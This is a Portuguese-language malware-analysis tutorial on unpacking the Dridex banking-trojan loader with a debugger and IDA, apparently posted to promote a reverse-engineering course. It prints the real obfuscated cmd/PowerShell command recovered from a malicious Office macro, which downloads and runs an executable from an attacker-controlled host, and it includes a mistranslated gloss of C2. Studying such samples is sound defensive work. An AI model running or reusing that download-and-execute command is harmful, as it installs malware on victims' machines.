Desembalar: carregador de inicialização Dridex

Boa noite amigos! Em menos de um mês, o curso de engenharia reversa começará conosco e, nesse contexto, tradicionalmente compartilhamos material útil sobre o assunto.

Alguns leitores tiveram problemas ao descompactar o gerenciador de inicialização do Dridex (aquele que foi redefinido pela macro), então hoje mostrarei uma maneira fácil de fazer isso. Outro problema que as pessoas não conseguem resolver e que eu não consigo resolver é o fato de que as cadeias infecciosas Dridex têm uma vida útil muito curta, o que torna quase impossível a reversão da maioria das pessoas. Eu vou explicar o porquê.

A atual cadeia de infecção Dridex possui cerca de 4 estágios:

1. Um documento do office que contém uma macro executa um script do PowerShell.
2. Um script do Powershell que fará o download do gerenciador de inicialização empacotado de um site ou ponto de compartilhamento invadido e o executará.
3. Um carregador de inicialização empacotado que se descompacta e insere o código em um processo spoolsrv ou svchost recém-criado.
4. Um processo incorporado que entrará em contato com o servidor do carregador para recuperar e executar o arquivo binário real do bot.

O problema para os analistas é que existem 2 pontos de falha aqui: o site invadido que hospeda o carregador de inicialização pode limpar ou excluir a conta do sharepoint ou o servidor do carregador de inicialização pode ser parado (qualquer um deles impedirá uma infecção bem-sucedida). Além disso, os servidores do carregador geralmente oferecem suporte à cerca geográfica (eles só funcionam se o seu IP estiver no país para o qual se destina e não for uma VPN) e, assim que o carregador de inicialização for baixado publicamente, o grupo Dridex poderá habilitá-lo na lista negra. bloqueando permanentemente qualquer pessoa que o execute entre em contato com qualquer C2s (Commercial Cloud Services).

O que é surpreendente sobre todas essas "falhas" é que elas provavelmente são intencionais. A maioria das vítimas que recebem email infectado o abre dentro de alguns dias úteis, após o que a maioria das pessoas que abre o email analisa o malware, por isso é útil que tudo desapareça dentro de uma semana.

Para que os leitores possam praticar esta lição na prática, existe um zip que contém um documento malicioso do escritório e um carregador compactado da mesma cadeia; portanto, não é necessário se preocupar com URLs mortos (senha: infectada). Quanto aos servidores com a cerca geográfica do carregador de inicialização, não há nada que eu possa fazer sobre isso, e como o carregador de inicialização já foi recuperado, você estará na lista negra para iniciá-lo (se você não souber como ignorar a lista negra, siga esta lição na nova VM (máquina virtual) e talvez mude o IP depois).

Obtendo um carregador empacotado

Primeiramente, você deseja abrir um documento malicioso no Word, mas ainda não clique em "Incluir conteúdo". Abra o depurador (como de costume eu uso o WinDbg), conecte-o ao winword.exe, defina um ponto de interrupção no CreateProcessW, retome o processo e clique em "Ativar conteúdo".



Um ponto de interrupção será alcançado quase instantaneamente com os novos padrões Dridex (algumas máquinas virtuais podem ser detectadas; portanto, se um ponto de interrupção não funcionar, considere mascarar sua máquina virtual).

Queremos descarregar o 1º e o 2º parâmetro CreateProcess (respectivamente, o caminho para os parâmetros de aplicativo e linha de comando), podemos fazer isso com os seguintes comandos:

du / c100 poi (esp + 4)

du / c100 poi (esp + 8)

Nota: o comando du redefine uma string Unicode que termina em zero, / c 100 define o limite da coluna para o máximo e poi (esp + 4) lê o endereço apontado por esp + 4. Resultados que obtive:

Aplicativo: C: \ Windows \ System32 \ cmd.exe

Parâmetros: “C: \ Windows \ System32 \ cmd.exe” / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Usuários \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Usuários \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Aqui, observamos como uma macro maliciosa inicia o cmd.exe com um comando para iniciar o powershell, ignorar a política de execução e, em seguida, carregar e executar o arquivo executável. Se removermos a concatenação de caracteres e os caracteres que são apenas ofuscação baisc, obtemos o seguinte:

"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -comand (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Usuários \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); processo de inicialização' C: \ Usuários \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Agora podemos simplesmente baixar manualmente o arquivo exe de littlwnowern [.] Top / lukaku / (o URL está morto agora, mas eu carreguei o binário no arquivo como "GksagD.exe.sample"), é um carregador compactado.

Descompactando o gerenciador de inicialização

Primeiro, precisamos ativar a DEP (Data Execution Prevention) para todos os aplicativos; a razão disso ficará clara posteriormente. Para fazer isso, vá para "Painel de controle"> "Sistema e segurança"> "Sistema"> "Configurações avançadas do sistema"> "Configurações" (na seção "Desempenho") -> "Prevenção de execução de dados" e ative a DEP para todos os programas.



Em seguida, abriremos o arquivo exe no PE Explorer e definiremos o sinalizador "Relocation Stripped" no cabeçalho do PE, o que impedirá que o ASLR baixe o arquivo executável em um endereço diferente cada vez que for iniciado, o que simplifica a reversão.





Agora salve o arquivo executável e abra-o no IDA Pro.

Normalmente, os carregadores Dridex criam o processo svchost.exe ou spoolsv.exe e se injetam nele, portanto sabemos que o código descompactado provavelmente chamará CreateProcess; Para verificar isso, defina um ponto de interrupção no final de CreateProcessW (na instrução ret) e clique em executar.



Quando o ponto de interrupção for atingido, você verá que o GksagD.exe criou um processo em pausa chamado svchost.exe ou spoolsv.exe, conforme o esperado. Se dermos um passo para retornar do CreateProcessW ao código que o chamou, encontraremos o seguinte.



A IDA fragmentou as instruções, o que significa que o código foi alterado desde a execução do executável, o que geralmente é o resultado da descompactação no local (geralmente os empacotadores de malware usam processos ocos para gravar o código descompactado em outro processo, os verdadeiros empacotadores descompactam o código no mesmo processo).

Agora que sabemos que o código executável principal é substituído em algum momento, podemos colocar um ponto de interrupção no registro no endereço atual, que será acionado quando o código for alterado.



Depois disso, exclua todos os outros pontos de interrupção e reinicie o processo.



O ponto de interrupção foi chamado a partir de um endereço fora da seção principal dos arquivos executáveis, o que significa que o empacotador alocou um pouco de memória e copiou algum código para cuidar da substituição do arquivo executável principal.

Se observarmos a memória no Process Hacker, veremos que agora ela é legível e gravável, mas não executável, o que é ótimo porque significa que o empacotador não usa mais esse código.



Agora, sobre algumas conclusões do nível de Sherlock: sabemos que o código é executado aqui mais tarde, e a memória não é executável no momento, portanto, talvez em algum momento ele se torne executável.

A função usada para configurar a proteção de memória é geralmente VirtualAlloc, VirtualAllocEx ou NtProtectVirtualMemory. Se você estiver familiarizado com os componentes internos do Windows, saberá que o VirtualAlloc e o VirtualAllocEx chamarão internamente NtProtectVirtualMemory, portanto, é aqui que definimos o ponto de interrupção.

Poderíamos sentar e verificar a pilha de chamadas toda vez que NtProtectVirtualMemory é chamado, aguardar o endereço correspondente ser definido como executável e analisar o cabeçalho do PE para encontrar um novo ponto de entrada ou sermos mais inteligentes.

Vamos definir um ponto de interrupção condicional no NtProtectVirtualMemory usando o seguinte script:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; 

Para fazer isso, vá para NtProtectVirtualMemory e defina um ponto de interrupção no primeiro byte, clique com o botão direito do mouse> Alterar ponto de interrupção, clique no botão "..." e cole o script.

Este script será executado toda vez que NtProtectVirtualMemory for chamado e fará o seguinte:

• Verifique se o parâmetro de proteção da página (esp + 0x10) é 0x10, 0x20 ou 0x40 (também conhecido como PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), o que significa que a chamada altera a proteção da página para executável.
• Verifique se o endereço de destino está no intervalo da seção executável principal (0x400000 - 0x42e000).
• Altere a configuração de segurança para 0x04 (não executável).
• Retorno 0 (retomar a execução em vez de interromper para o depurador).

Vamos correr e ver o que acontece.



Exceção de violação de acesso! Reserve um tempo para aproveitar o momento, pois esse é provavelmente o único erro grave de violação de acesso que você já viu ... mas por que é bom?

Nosso script de ponto de interrupção no NtProtectVirtualMemory configurou toda a memória como não executável quando o empacotador tentou configurá-la como executável. A exceção significa que tudo o que o empacotador gravou na memória agora está gravado com sucesso e ele está tentando chamar algo nessa memória. Se tivermos sorte, o que o empacotador escreveu na memória é o carregador de inicialização descompactado e o endereço que ele estava tentando chamar é o ponto de entrada, certo?

Para fazer isso, usaremos uma ferramenta incrível chamada processdump ( link de download ), que despeja todas as imagens exe ou dll carregadas na memória dos processos e as empacota de volta em arquivos .exe ou .dll.

use "pd32.exe -pid" para despejar o processo.

use "pd32.exe -pid <ID do processo>" para descarregar o processo.



O número no final do nome do arquivo é o endereço base da imagem na memória; portanto, GksagD_exe_GksagD.exe_400000.exe será o mesmo que o empacotador mapeado em vez do antigo executável, portanto veremos isso na IDA.



O endereço do ponto de entrada é igual ao endereço da exceção, é um executável descompactado!

Dicas reversas

O gerenciador de inicialização é complicado porque todas as seqüências de caracteres são criptografadas e não há importação, mas os métodos que descrevi em detalhes nos manuais do Dridex também funcionarão no gerenciador de inicialização.

Dê uma olhada:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html

e

https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

Nota: o executável do gerenciador de inicialização é multiuso (este é o código que implementa svchost / spoolsv e o código que implementa svchost / spoolsv). Se você deseja reverter a parte da injeção do gerenciador de inicialização, basta abri-lo no IDA e executá-lo. Se você deseja reverter a parte de inicialização, é necessário copiá-la para system32 e executar a partir daí (tenha cuidado para que em ambos os casos o carregador de inicialização seja excluído automaticamente após ser executado).

Se você achar que o material é útil, faça um plus, escreva comentários e inscreva-se em uma lição aberta que acontecerá hoje!